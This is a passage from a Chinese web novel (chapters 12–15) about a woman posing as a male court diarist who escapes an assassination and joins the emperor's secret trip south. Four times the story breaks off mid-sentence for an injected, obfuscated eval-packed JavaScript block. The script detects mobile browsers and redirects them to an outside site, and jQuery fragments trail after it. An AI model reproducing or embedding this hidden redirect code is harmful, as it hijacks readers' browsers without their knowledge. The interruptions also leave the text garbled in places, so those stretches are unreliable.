“若真是这样,那可有点不好搞。” “就算他是那边的又如何?不过一个毫无背景的新科进士,胆敢抢了我的位置,一定要他好看!” 王砚秋小声道:“文松,你干嘛要拦着我?就让我去隔壁好好教训教训这群不知天高地厚的家伙! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614396|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没有必要。” 顾靖川一脸担忧:“文松,明枪易躲,暗箭难防,他们已经盯上你了,你打算怎么办?” “凉拌。”江幼宜拿起筷子,“事已至此,先吃饭吧,一会儿菜都凉了。” “文松,你怎么一点也不着急啊?又是侍郎又是阁老的,你都不怕吗?”李云承一脸焦急,不知道的以为隔壁要对付的事他呢。 江幼宜着急啊,她听了那么久,隔壁也没具体说要怎么对付她,她又不能未卜先知,只能走一步看一步,车到山前必有路了。 “好了,别这样,兵来将挡,水来土掩,不要为了没发生的事情折磨现在的自己。往好的地方想,起码我提前知道他们要对付我,不管耍什么手段,总会有办法解决的。” 顾靖川:“文松,如果需要帮助,及时跟我们开口。” 王砚秋:“对,我外公是御史,如果他们陷害你,我让我外公参他们一本!” “看,这多有安全感,云承,别苦着脸了。”江幼宜转移话题,“对了,我听说周元才被放出来了?” 李云承点头:“对,前天他家小厮来了翰林院一趟,把他的东西都拿走了,听说他被调到外地去了。” 顾靖川:“周元才家里也有些背景,他伯父是扬州的都指挥佥事,想必他被调去的也不是什么偏远地方。” 这大宁朝堂可真够盘根错节的,随随便便一个人背后就这么多关系,此种情况下皇权必然处于弱势,怪不得隔壁敢当众说皇帝是傀儡。 江幼宜夹了一筷子菜嚼嚼嚼,水够深的啊,不过这样才更好摸鱼不是吗。 “来,我敬大家一杯,全靠你们在编书的时候帮我,我才能得到这个升迁的机会,我先干为敬。”江幼宜端起酒杯一饮而尽。 顾靖川:“文松,我们帮的那些忙换别人来也能做,最重要的还是你自己,不必言谢。” “是啊文松,我们都是举手之劳,不足挂齿,你帮我从三甲追到二甲,又考上庶吉士,还有靖川和砚秋,我也得好好谢谢你们,今天我就借花献佛,敬大家一杯!”李云承也端起酒杯,跟另外三人碰了碰。 “这都不是什么值得记挂的事儿,来来来,喝酒喝酒。”王砚秋笑嘻嘻又续上一杯,“等哪天休沐我们去庄子里打马球吧。” 江幼宜:“我不会骑马。” 王砚秋一拍胸脯:“我知道,我教你,我骑马可比靖川厉害多了!”王砚秋得意洋洋,终于有他比顾靖川厉害的了。 顾靖川无奈摇头。 “你们比过?”江幼宜看顾靖川那个样子,可不像是输给过王砚秋。 “嘿,他这人天天除了读书就是读书,骑马肯定没我厉害,打马球全京城我称第一,没人敢称第二!” 顾靖川淡定开口:“国子监的骑射课,我是头名。” 王砚秋强撑:“那是因为马的原因,国子监的马我骑不惯,所以才输给了你,而且骑射课射的是静靶,马球是动的,肯定还是我厉害,等文松学会了,我们组队比比就知道了!” 顾靖川点头:“可以。” 江幼宜一边看这俩人斗嘴一边干饭,不要结束,小学鸡斗嘴她还能看一万年。 12. 上任 “文松。”家门口传来一声温柔的呼唤。 江幼宜和李云承搭顾靖川家的马车回来,一到家门口就看到张兰香等在家门口。 江幼宜赶忙跳下马车,是不是出什么事了?怎么姨母没提前说一声就突然过来了? 她快步走到张兰香面前:“娘,您怎么不提前给我递个消息来,我好去城门口接您。” 张兰香温柔地摸摸江幼宜的脸:“你信中留了地址,娘能找到地方,哪能耽误你公务?你看看你,忙坏了吧,都瘦了。” 江幼宜把手贴在张兰香手上,俏皮道:“主要是太想念娘的手艺了。”她往旁边看了看,只有张兰香一人,“表妹呢?” “前段日子有个道士路过,那人说你表妹的病需得找个山清水秀的清净之地修养,把她带去道观了。” 怎么听着不太靠谱? 江幼宜把张兰香拉到一边,悄声询问:“娘,那道士靠谱吗?别是骗人的,表哥怎么说?” 张兰香拍拍江幼宜的手:“你就放心吧,我跟着一块儿去看过,那道观挺大的,香火也足,文松愿意住在那里,只是我一个妇道人家不好一块儿住,我一个人待在家里也没事干,想着你孤身一人进京这么久,放心不下,就来看看你。” “道长知道表哥的真实身份?” “道长仙风道骨,是世外高人,能看出旁人性别也不足为奇。”张兰香见怪不怪。 江幼宜可不这么想,这太巧合了,她一来京城就被旁人发现真实身份,紧接着表哥就被人带走了,背后之人究竟是谁?有什么目的? “好了,娘在道观那边住过些时日,道长说得不错,文松自住进道观,脸色确实好上不少,你就不要担心了。” 看样子对方是冲自己来的,表哥就是对方拿捏自己的把柄。 “娘,那座道观在哪?叫什么名字?” “在临东府,叫玉清观。” 这名字,好似在哪听到过?江幼宜收敛心神,待她仔细打探一番。 “这是我娘。”江幼宜带着张兰香回到大门前,“云承你认识,这位是今科状元顾靖川,与我和云承都在翰林院共事,这个房子就是靖川家的。” 李云承和顾靖川一同向张兰香见礼:“伯母好。” 李云承在会试前几次到家里跟傅文松讨论过学问,与张兰香也算相熟,顺口问道:“表妹没一起来吗?” “幼宜住到山上养病去了,这不,我在家闲得无聊,就来京城看看文松。” “表妹身体好些了吗?” “山上风景宜人,身体好多了。” 李云承:“那就好,文松,我去让墨砚收拾下屋子,让墨砚跟我睡一屋。” 顾靖川:“我明天找人来修缮下库房,把库房隔出间卧房来。” “这怎么好意思,真是给大家添麻烦了。”张兰香攥紧衣角,这倒是她没思虑周全了,只想着进京来看看幼宜,没顾得上考虑别的。 “没事的伯母,这都是小事,不用放在心上,我先进去吩咐着。”李云承率先进了院门。 顾靖川点头:“那库房如今空置着,改了就改了,没什么要紧的。” “那真是劳烦你们了,我也没什么能拿的出手的,也就饭做得还不错,赶明到家里来吃饭。” 顾靖川:“早就听文松夸赞伯母手艺好,有机会一定来尝尝。时候不早了,我先告辞了。” 江幼宜:“好,路上小心。” 第二日寅时未过半,也就是不到早上四点,江幼宜赶到乾清宫。 起居舍人的工作就是记录皇帝一天十二个时辰的言行举止,起居舍人共有三位,轮流值班,一人一天。当然不可能十二个时辰不合眼,只要在皇帝起床前到岗,睡觉后下岗就行。 如果你服务的皇帝是个卷王,那只能算你倒霉。 皇帝的日常只一个人肯定是记录不过来的,所以起居舍人和起居郎是搭伴共事的,这样也能轮流去吃饭解决个人问题。 起居郎品级比起居舍人次一级,同是记录皇帝的一天,侧重点不同,起居郎负责记录日常言行和国家大事,起居舍人记录皇帝发布的政策命令。 不过实际上是两个人当值那天要尽量把所有东西都记下来,后期整理的时候互相对照,以免有错漏。 官员上值和早朝都是早上五点,也就是卯时,所以古代的打卡上班也称之为点卯。 还好现任皇帝他不是卷王,作息也很正常,还没有后宫,这大大减少了起居舍人和起居郎的工作强度,在皇上面前执勤的那天只需要从凌晨四点盯到晚上九点就可以了。 哈哈,真是充实的一天。 江幼宜安静在乾清宫门前等候,她要等太监送早膳进去的时候才能跟着进去,安排今天与她一同上值的起居郎一直没到,一直到皇帝起床洗漱完,早膳要进殿,那个起居郎才打着哈欠姗姗来迟,从善如流跟着送早膳的太监一同进殿。 江幼宜不可置信!九族安否?在皇帝眼皮子底下干活还敢这么卡点?还是家里背景强大,根本不在乎出这点错漏? 她也跟着进殿,与那人分站桌子两侧,只见那人扫了桌子上的御膳一眼,刷刷刷在本子上记了两笔,随后立在一旁不动了。 江幼宜看看摆得满满当当一桌子的早膳,又撇了那人一眼,这么一桌子菜,两笔写完了?也太敷衍了事了吧?不会是等着她写呢吧?封建大地主就坐在那里,这人演都不演? 她听着太监一一报菜名,报一道她写一道,连笔简体字写得飞起,等明天非得去问问这人到底什么来头,皇亲国戚不成?架子这么大,她可不想一直一个人干两个人的活! 好不容易记完,抬头对上对方的眼神,是看傻子一眼的眼神! 什么意思?这是什么意思?她勤勤恳恳工作居然被公然摸鱼的同事鄙视了是吗? 江幼宜收回目光,继续盯着谢怀川用餐,只是江幼宜的目光专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614397|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注盯着菜,没注意到谢怀川也看了她一眼。 啊!不愧是封建大地主,每道菜只用一筷子,饭吃完了,桌子上的菜看上去像没动过,又被太监原模原样撤走了。 江幼宜提笔,在本子上写道:陛下早膳雨露均沾,所有菜品只用一口,未见喜好。 随后用小字补充:铺张浪费!在旁边画了一个愤怒小人的简笔画。 用过早膳,谢怀川摆驾太极殿,御前侍卫在前开道,江幼宜和那位起居郎跟在皇帝身后。 起居郎靠近江幼宜,用手肘捣了捣她,悄声问道:“你怎么回事啊?他们没教你?” “教了啊。”另外两位起居舍人很负责任,昨天她刚被下旨提拔,那两人就带了之前的起居注来寻她,还叮嘱她上下值的时辰。 起居郎又露出那副神情,还隐隐带着同情。 江幼宜越看越奇怪:“什么意思?” 起居郎不语,直接翻开手里的小册子,只见上面写着:寅时六刻帝用早膳,菜色同二十五日。 …… 看来她升任这个职位真的得罪了不少人。 起居注那两位起居舍人给她看过,早膳是一一记录不假,菜色有规律她自己没看出来,怪不得别人。只是很明显,那两位并不怎么喜欢她。 “傅大人,咱们陛下作息很有规律,每日寅时过半起床洗漱,寅时六刻用膳,你只要在传膳之前到就行,不用太早,而且御膳房的菜色基本固定搭配,四五天一轮换,时间久了你就知道了。我叫章时,以后没有意外就是咱俩搭伙,傅大人多多指教啊。” 这位傅大人虽被同僚排挤,但短短几个月就从正七品跨阶升迁到正六品,还是皇上钦点的,前途不可限量,章时愿意卖个好。 “指教谈不上,你在这个位置上经验比我丰富,我还要向你请教才是。”另外两位起居舍人是指望不上了,江幼宜没有在皇帝面前当差的经验,还需要章时从旁指点,“刚才还误会你架子大,我给你道歉。” “不敢当不敢当,傅大人有需要我的地方尽管开口便是。” 御驾进到太极殿,两人也不再说话,龙椅下首侧方摆着桌椅,这是专门给起居舍人和起居郎留的,他们可以坐着记录早朝内容。 百官早已到齐,随着谢怀川落座,百官跪地行礼,江幼宜和章时也跟一起:“吾皇万岁万岁万万岁。” “平身。”谢怀川的声音还是那么清冽动听,只是经过这几月,江幼宜的心境已经与传胪大典时有了微妙的不同。 当时的她距离入朝为官还差临门一脚,心中是忐忑和期待;入了翰林院接手差事,心中是才华有处施展的痛快;而经过昨晚和今早,她才明白,现在的她只是看起来风光无限,真正的路才刚刚开始。 太监站在龙椅一边,高声道:“有事起奏,无事退朝。” 江幼宜收敛心神,打开本子提起笔,反抗的道路上总会充满斗争,无论怎样,她都不会退缩。 13. 遇刺 第一天上任起居舍人,江幼宜边看朝臣扯皮边做记录,对能决定百姓生死存亡的早朝有一些幻灭,怎么跟菜市场一样啊,还不如她们领导开会的时候严肃呢。 江幼宜瞅了一眼坐在龙椅上闭目假寐的谢怀川,提笔在本子上画了两个吵架的小人和一条卧在一边睡觉的恶龙。 突然,江幼宜感受到一束不善的目光,她抬头望去,是刑部右侍郎裴瑾,昨天晚上酒楼隔壁包间刘少的表哥。 对方的视线被她撞个正着也不回避,反而更嚣张地瞪了江幼宜一眼,江幼宜低下头,在本子上添了一个浑身散发黑气的恶魔小人。 她既不结党营私,也不收受贿赂,只安心当个纯臣,江幼宜想不到对方会怎么对付她。 早朝结束,江幼宜跟着谢怀川到了养心殿,这里是皇帝日常办公的场所,给皇帝问安的奏折、内阁悬而不决的奏折都会递到养心殿由皇帝批阅。 谢怀川打开奏折,看得很快,提笔写下一个“阅”字就扔在一边,早早把奏折批完就开始作画,午膳后休憩片刻,看了两本话本子,随后练剑到酉时初,江幼宜尽职尽责,将陛下一天的行踪如实记录在册。 晚膳用完,谢怀川到御花园散步。 江幼宜跟在身后感慨不愧是皇家建筑,景虽美,她却无心欣赏。今天从凌晨四点撑到晚上七点,只有早朝能坐一会,其他时候都站着,这一天下来,她脚都肿了,江幼宜趁谢怀川驻足跟太监说话的时候活动一下脚腕。 “去前面凉亭。”谢怀川示意太监带领,“两位爱卿辛苦,也陪朕坐一会儿吧。” “谢陛下。”江幼宜谢恩之后坐下,想必皇帝也逛累了吧。 谢怀川看着江幼宜迫不及待的样子,起居舍人当值一直站着,是否太过辛苦了,明天还是在养心殿给他们添张桌子吧。 “朕乏了,要就寝。”刚从御花园回到乾清宫的谢怀川如是说。 殿中宫女太监忙着宽衣叫水,江幼宜忙着压上翘的嘴角,太好了,现在还不到晚上八点皇帝就要睡了,可以提前下班了! 江幼宜走后不久,乾清宫里的火烛重新燃起来。 “青州的事查得怎么样了?”谢怀川发丝垂下,披着外袍靠坐在床头,火烛隔着围帐映照出他影影绰绰的身形。 一黑衣人闪身出现在殿中,跪地道:“幕后主使还没有查出来,知州准备拿当地县令当替罪羊结案了。” 暗卫汇报完迟迟没有起身,谢怀川不禁问道:“还有什么事?” “属下刚才进宫的时候,发现有人在尾随傅大人。” 谢怀川一把撩开围帐:“这些人真当朝堂是自家的了,去看看!” 另一边,江幼宜跟章时在宫门口分别,乐滋滋抄小道回家。 以往任编修的时候,下午三点多就能下值,还没这么晚走过这条小道,巷子狭窄,空无一人,越走江幼宜心里越发毛。 “咚——咚,咚——咚,咚——咚,天干物燥,小心火烛!” 打更的声音突然响起,吓了江幼宜一激灵。啊,电视剧里出现这种剧情一般都是要出事了!可是打更人每天都要打更的,自己应该不会这么倒霉吧,江幼宜不禁加快了步伐。 寒光一闪,一把剑飞速朝江幼宜刺过来,巷子狭窄,江幼宜只能后退,这就是他们的招数吗?这么简单干脆! 正面打不过,江幼宜扭头拐进另一条小巷,一边跑一边喊:“抓贼啦,有贼偷东西啦!” 无意间撇到旁边屋顶上还有两个黑衣人,不是吧,杀她需要这么多人吗? 江幼宜又往另一个方向跑,咦?那两个黑衣人不动,不是一伙儿的?她升个职到底得罪了多少人啊?怎么还有黄雀在后啊。小巷子里太不安全了,主街上有巡逻的禁军,她得往主街上跑。 拿剑的黑衣人紧追不舍,谢怀川做了个手势,身旁的暗卫甩出暗器,精准扎到黑衣人腿上,黑衣人踉跄一下,意识到情况不妙,转身离去。 “大人,出了什么事?” 巡逻的禁军看到江幼宜穿着官服从巷子里仓皇跑出来,主动上前询问。 江幼宜一指身后:“刚刚有个黑衣人意图……”她话到嘴边,改了口,“有个人鬼鬼祟祟的,好像是个贼。”万一这队禁军跟黑衣人是一伙儿的,她这岂不是正好撞在枪口上了。 哒哒哒,一阵马蹄声响起。 “傅大人?” 江幼宜抬头,大红飞鱼服,是那天在贡院帮她的锦衣卫指挥使——汪霖,就是靠他的帮助,她才能进考场考上进士,虽说不知道对方帮她有什么目的,但现在自己应该还是可以信任对方的。 “汪大人。”禁军纷纷朝汪霖行礼。 汪霖点头,询问禁军:“发生了何事?” “回禀大人,刚刚这位大人说巷子里似是有贼。” “有贼还不快去抓,一会儿贼都回家了。” “是,卑职这就去追。” “多谢汪大人。”江幼宜向汪霖道谢,既是为这次,也是为上次。 “上来。”汪霖朝江幼宜伸手。 “啊?” 还没等江幼宜反应过来,汪霖一把将她拉上马揽在身前。 汪霖朝前方屋顶上站着的某个黑衣人一笑:“驾!”大晚上的把他喊出来就为护送这个女人回家,他们的陛下貌似不太对劲啊。 “吁,到了。”汪霖下马,扶着江幼宜下来。 江幼宜没问汪霖怎么会知道她住在哪里,在她进考场前就知道她是女子的人,她在对方那里没有任何秘密:“多谢汪大人。” “啧,翻来覆去就会说这一句吗?”汪霖翻身上马,居高临下看了一眼江幼宜,他可没有跟皇帝抢女人的喜好,不等江幼宜回答,汪霖就调转马头准备离去。 黑夜总是会让人产生情感冲动,汪霖两次在危急时刻帮她,让江幼宜难免对他产生了一丝依赖,她于阴谋诡计上并不擅长,否则当初也不可能为了那则新闻标题直接闯到主编办公室去跟他吵架,她不想没头没脑地猜下去了。 江幼宜看着汪霖伟岸的背影,伸手挽留:“汪大人,你究竟……” “文松?是你回来了吗?” 是姨母的声音,江幼宜不想让姨母知道朝堂上的事为她担心,咽下原本要问的问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614398|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 汪霖背对江幼宜,轻轻哼笑一声,策马离开。 身后的院门打开,张兰香提着油灯出来:“文松,怎么回来得这么晚?” 江幼宜从张兰香手里接过油灯:“娘,我现在的职位就是会经常这么晚下值,以后不用特意等我了。” 张兰香点点江幼宜额头:“我不等你,谁给你开门啊?” “是哦。”江幼宜笑笑,“等我再攒些钱,咱们在京城买个宅子,雇几个下人,就不用辛苦娘了。” 张兰香嗔怪:"你这孩子,不当家不知道柴米油盐贵,京城的宅子多贵啊,说买就买。" 自从当官之后江幼宜就没再写过话本子,一来当编修那几个月都在忙着编参考书,二来她现在身份不同往日,再去书铺送话本子难免会暴露身份。 现在看来,还是得写,要尽快置办个新宅子,再雇几个护院。那些人现在都已经胆敢雇凶杀人了,难保哪天不会对她家人下手。 “陛下,那人进了鸿胪寺丞刘大人家中。” 谢怀川一身黑衣,坐在卫所堂上,窗外清冷的月光打在他脸上,更为他增添一丝冷意:“朕这朝堂里真是人才济济,一个从六品的小官都敢随便杀人,真是无法无天。” “是谁让陛下这么大火气?” 谢怀川看向来人:“我让你去送人?你就是那么送的?” 汪霖踏着月光走进堂中,面带笑意:“属下已经安全把人送回家了,陛下还有什么不满意的?难不成陛下不仅想让傅大人走进朝堂,还想收入后宫?” “别胡说,朕只是看她才华出众,拿来当对付世家的棋子罢了。” “好好好,棋子。”带着笑意的话音未落,转身冷下一张脸,“没听到陛下的话吗?还不赶紧去拿了刘以茗。” “大人,那人背后有人帮他,我没能得手。” “废物!”刘以茗一个茶盏砸到黑衣人面前,紧接着问道,“没人跟着你吧?” 黑衣人摇摇头:“没有。” 话音未落,外面一片嘈杂,下人惊慌失措跑来:“少爷不好了,锦衣卫把我们的府邸围起来了。” 刘以茗一脚把跪地的黑衣人踹倒:“成事不足败事有余的蠢货!你真是害死爷了,都别跟过来!”他呵斥跟着他的下人,一个人回到房间收拾金银细软,抱着包袱摸黑溜到书房,拧动博古架上一个不起眼的花瓶,书柜缓缓移动,里面竟有一条密道。 锦衣卫破门而入,亮出腰牌:“现奉指挥使之命抓捕朝廷要犯,有人看到犯人进了你们家,所有人都不许动!” 刘以茗的爹娘回老家祭拜先祖还没回来,刘以茗从密道逃离,府中无人做主,乱成一团。 “大人,人犯在这里!”锦衣卫从堂厅押着腿受伤的黑衣人出来。 千户徐季宣一锤定音:“鸿胪寺丞刘以茗包庇逃犯,一并带走论罪。” “大人,刘以茗不在府中。” 被押的黑衣人突然抬头:“我知道他在哪里。” “哦?我们锦衣卫向来不会为难识相的犯人。”徐季宣朝押着黑衣人的手下使个眼色,“带走。” 14. 荒唐 第二日江幼宜待在翰林院整理起居注,不知道指使人刺杀她的刘以茗已经连夜被下大狱,一沓早就搜集好的罪证只等他签字画押,被判流放,家产充公。 裴瑾也在早朝上被御史参渎职罪,罚奉半年。 消息灵通的知道这是皇帝不满朝臣对他提拔的臣子暗下杀手释放出的警告信号,另有敏锐的人已经嗅到风雨欲来的味道。 江幼宜很快整理好她当值那天的起居注,回想到自她进京以来发生的事和昨晚没来得及问出口的问题。 堂堂正三品锦衣卫指挥使怎么会注意到她这样的小人物?会试进场当日女子给她搜身,绝非巧合,也就意味着会试之前汪霖就已经识破她的身份了。即便锦衣卫是特务机构,也不会把每个进京的人都查得仔仔细细吧?究竟是何时看出破绽的呢? 江幼宜死活想不明白,在纸上写了个汪,打了一个问号。 表哥被人带走会不会也跟汪霖有关系?是为了帮她隐藏身份还是为了要挟她?亦或者两者都有,可是汪霖究竟有什么目的呢? 寻常电视剧里主角想要打探消息,只需要去饭馆酒楼,可是她想打探的是锦衣卫的消息,还是锦衣卫头目的消息,这是可止小儿夜啼的可怕存在,不止百姓闻锦衣卫色变,连普通官员私下都不怎么聊,江幼宜无权无势,根本无从探听。 她思来想去,只能用笨办法,查文献,不是查汪霖,是查道观。 玉清观在临东府,跟京城之间隔着一个临北府,是北方最大的道观,前朝开国皇帝为证明自己是正统,曾在称帝后第一时间到玉清观祭拜,在位期间还拨款修缮扩建道观,那是玉清观香火最旺盛的时候。 午饭点已到,王砚秋拉着顾靖川来喊江幼宜去吃饭,他们两个的午饭都是家中下人送来的,江幼宜和李云承的则是厨娘做好,顾靖川家下人来送饭顺路捎来的,他们中午一起吃,还能互换菜色。 顾靖川一进门就看到江幼宜桌子上一堆关于道观的书:“文松,怎么突然对道观感兴趣了?”再仔细一看,发现大部分都是关于玉清观的,他压低声音,“文松,你怎么突然查起玉清观来了?” 江幼宜一听,这玉清观果然有问题,她看了眼跟她共处一室的另一位同僚,“走,我们先去吃饭。” 走出屋门,江幼宜看旁侧无人,悄声问:“靖川,这玉清观可有什么特别之处吗?” 王砚秋附在江幼宜耳边:“倒也不是什么特别之处,只是大皇子在这道观里清修。” “大皇子?陛下不是后宫空置吗?哪儿来的大皇子,难不成是民间女子生的儿子?”听说谢怀川亲政前经常出京城游山玩水,在民间宠幸女子留下子嗣好像也不无可能。 顾靖川:“不是陛下的儿子,是陛下的兄长,先皇去世后,大皇子就自行去玉清观清修了。” 先皇的大儿子? 大皇子是先皇后的儿子,传闻大皇子文武双全,性情温和,深得先皇器重,原本身为嫡长子的他是名正言顺的下一任皇位继承人,不知怎么就招了先皇厌弃,先皇在位时一直未立太子,驾崩后年幼的谢怀川继位。 江幼宜越想脑子越乱,当朝太后正是当时先皇的继后,大皇子失宠时同为嫡子的谢怀川已经出生,她很难不去猜大皇子的失宠是不是太后的手笔,亦或是太后和首辅联手。 所以表哥是大皇子带走的?那大皇子肯定也知道她的身份,汪霖难道是大皇子一派的?帮她掩藏身份走入朝堂,待时机成熟用表哥要挟她造反? “文松,你怎么了?脸色好苍白,生病了吗?” 江幼宜扬起一个苦涩的笑容:“没事,可能是太饿了,我们快去吃饭吧。”她想要得到的东西必须拼尽全力才有万分之一的可能,尽管如此,她也从没想过造反这条路。她理想的世界在这个时代的人看来就是天方夜谭,推翻现有统治固然是一条捷径,可这条捷径需要付出的代价太大了,能通过改革一点点达成目的,就不要轻易去革命。 得想个办法还了汪霖的恩情,再把表哥偷偷接出来才行。 隔日,又轮到江幼宜御前当值。 早朝上御史出列,向皇上谏言:“陛下,您已亲政近两年,后宫一直空置,为江山后继有人,合该选妃了。” 江幼宜提笔将御史的话如实记录,又在后面补充了一行小字:猪成年了,该配种了。 并在旁边画了一只小猪。 看来当皇帝也逃脱不了被催婚的宿命啊。 江幼宜抬头去看谢怀川,按理说作为一个年幼继位的皇帝,他后宫里应该早就有妃子了才对,怎么都成年两年了,还空空如也啊,莫非谢怀川有什么难言的隐疾? 谢怀川微微一笑,从御案上拿起一本书:“确实,常言书中自有颜如玉,果真不假,朕看这书中的江南女子温婉贤淑、善解人意,秦淮河畔尤甚,朕身旁就缺这么一朵解语花,所以朕决定即日启程,亲自下江南选妃。” 御史一怔,随即激动道:“荒唐!这太荒唐了!陛下怎可随身携带这种书籍,实在是有失体统啊!” “哦?这种书籍是哪种书籍?陈大人可是看过?” 御史陈少谦一噎,嘴唇张张合合最后还是没能再说出一句话,憋得一张脸通红,陈少谦旁边的官员死命抿着唇,肩膀一颤一颤不停抖动。 江幼宜瞄了一眼谢怀川手里的书,封面花哨,是市面上很畅销的一本□□,中间还有插图,不论是用词还是插画都颇为露骨,她之前为了解话本行情,也在书铺翻看过,故事中规中矩,文采很不错。 不过谢怀川还真有够放肆的,这种话本子也敢在早朝上亮出来,江幼宜不由担心,她这位上司真能敌过虎视眈眈的大皇子吗? 半晌,另一位朝臣出列,语重心长:“陛下,那秦淮河畔的乃是烟花女子,贱籍者如何能入得后宫,陈参政家的长女端庄持重,秉性温良,颇有才名,若能入宫为后,也能为陛下分忧。” “朕意已决,朕就要去寻这画中的女子,朕走后朝中诸事都由内阁决策,退朝。”谢怀川一挥衣袖,拿着话本就走。 朝中诸臣都没来得及下跪恭送皇帝离开,谢怀川人就已经出殿了,大家唉声叹气、摇头晃脑,纷纷感慨:陛下真是太任性了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614399|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江幼宜收拾着笔墨纸砚,将朝臣的反应收入眼底,这些人对于谢怀川不选陈姑娘为后颇有微词,对皇帝出京却并不反对。 她视线划过裴瑾时多停留了两秒,许是因为刘以茗被流放,裴瑾被罚俸,裴瑾早朝表现得十分安静,就连陈少谦被怼的时候都没什么反应,果然人就是不能做坏事,不是不报时候未到。 她拿上东西准备去追谢怀川,裴瑾突然从她旁边经过,撞了她一下,轻轻留下一句:“傅大人,别高兴得太早。” 江幼宜捡起被撞掉的笔,这人有病吧? 因为这点小插曲耽误了时间,江幼宜赶到养心殿的时候谢怀川已经在批折子了,章时先她一步赶到,她用眼神询问有没有特殊情况发生,章时冲她小幅度摇摇头。 流放了一个刘以茗,裴瑾对她的恶意更大了,之前派人刺杀她的也不知道是谁,这潭水越来越浑浊,她看不真切,但惹不起,她还躲不起吗? 谢怀川下江南或许是一个机会,一来她可以暂避锋芒,二来她或许可以趁机去打探一下表哥的消息。 江幼宜看向谢怀川,默默打腹稿,思考该怎么表达她想要一同南下的意向。 “有话就说。”谢怀川头也不抬。 江幼宜愣了一秒,说的是她吗?下一秒就对上谢怀川望向她的眼神。 她连忙上前单膝跪地:“陛下,臣愿追随您一同南下。” 章时愣了一秒后也一同跪下:“陛下,臣亦愿往。” 谢怀川扫了两人一眼,言简意赅:“允。” 两人异口同声:“谢陛下。” 谢怀川继续翻阅内阁递上来请安的折子,虽然这些折子并不涉及什么大事,但打眼一看也能大致看出写奏折的人是什么风格,从头到尾扫一眼,谢怀川在奏折上写下一个“阅”字,将折子放在一边。 继续拿起下一封,谢怀川目光一凛,此人的折子表面看是废话连篇,一会儿在怀念家乡,一会儿在忆当年进京赶考路上的不容易,实则暗藏玄机。 对方之所以递这封似是而非的问安折子就是为了掩人耳目,他如果现在突然去查,恐怕会打草惊蛇,谢怀川当即想到江幼宜编撰的那套参考书,开口问道:“傅卿,朕记得你对各地乡土民情颇有心得,朕问你,虞川在哪?可有梅雨季?” 江幼宜本身就有地理基础,之前为了编撰参考书,曾翻阅大量地方志,回答这个问题对她来说轻而易举:“回陛下,梅雨一般在夏季出现在江淮中下游流域,虞川在西北方,夏季降雨量不大,正常不会出现梅雨季。” 谢怀川陷入沉思,这封折子是青州同知递上来的,折子中所言与虞川丝毫无关的梅雨应是意指去岁青州暴雨,反复提及进京路上途径威虎山,感慨翻山越岭的艰辛,威虎山在西南,虞川在西北,从虞川进京不可能途径威虎山,那么威虎山也是意有所指。 威虎山在峰峦叠嶂的西南并不出挑,山上既无寺庙也无道观,之所以为人熟知全因十几年前西南边军终于把西南地区规模最大的土匪山寨捣毁,那山寨就藏身威虎山。 所以,青州的贪腐还与土匪有关? 15. 冀州 谢怀川面色如常,提笔在这封折子上写下一个“阅”,又拿起下一封折子,才道:“来人,传令下去,两日后启程去江南,不必大张旗鼓,朕要微服私访。” 他亲政前经常借口出京游山玩水,实际在暗中调查山匪猖獗之事,他曾到山匪肆虐之地查探,收获却并不多。 受害地方地处偏僻,村民往往无一活口,官府消息滞后,赶到现场的时候山匪早已离开,且同一地区山匪也不会重复作案,这就导致山匪的行踪捉摸不定,难以追查。 这封折子透露出的信息量太大,谢怀川不敢想,如果这些年四处流窜的山匪与官府有勾结…… 谢怀川放下折子,捏了捏眉心,他这个皇帝做得还是太失败了啊,若是……罢了,还是先到青州去探查一番,另外,那套被搁置的参考书也是时候发挥它应有的作用了。 江幼宜要跟随皇帝出京南下,归期不定,姨母跟李云承同住,还有顾靖川和王砚秋承诺会帮忙照看,她没什么不放心的,至于这次出京她想找机会去寻表哥的事江幼宜没提,等成功把表哥接出来再告诉姨母也不迟。 出发那日江幼宜照旧是寅时未过半就赶到了乾清宫,还背着个小包袱,今天章时也提前到了,没卡点。 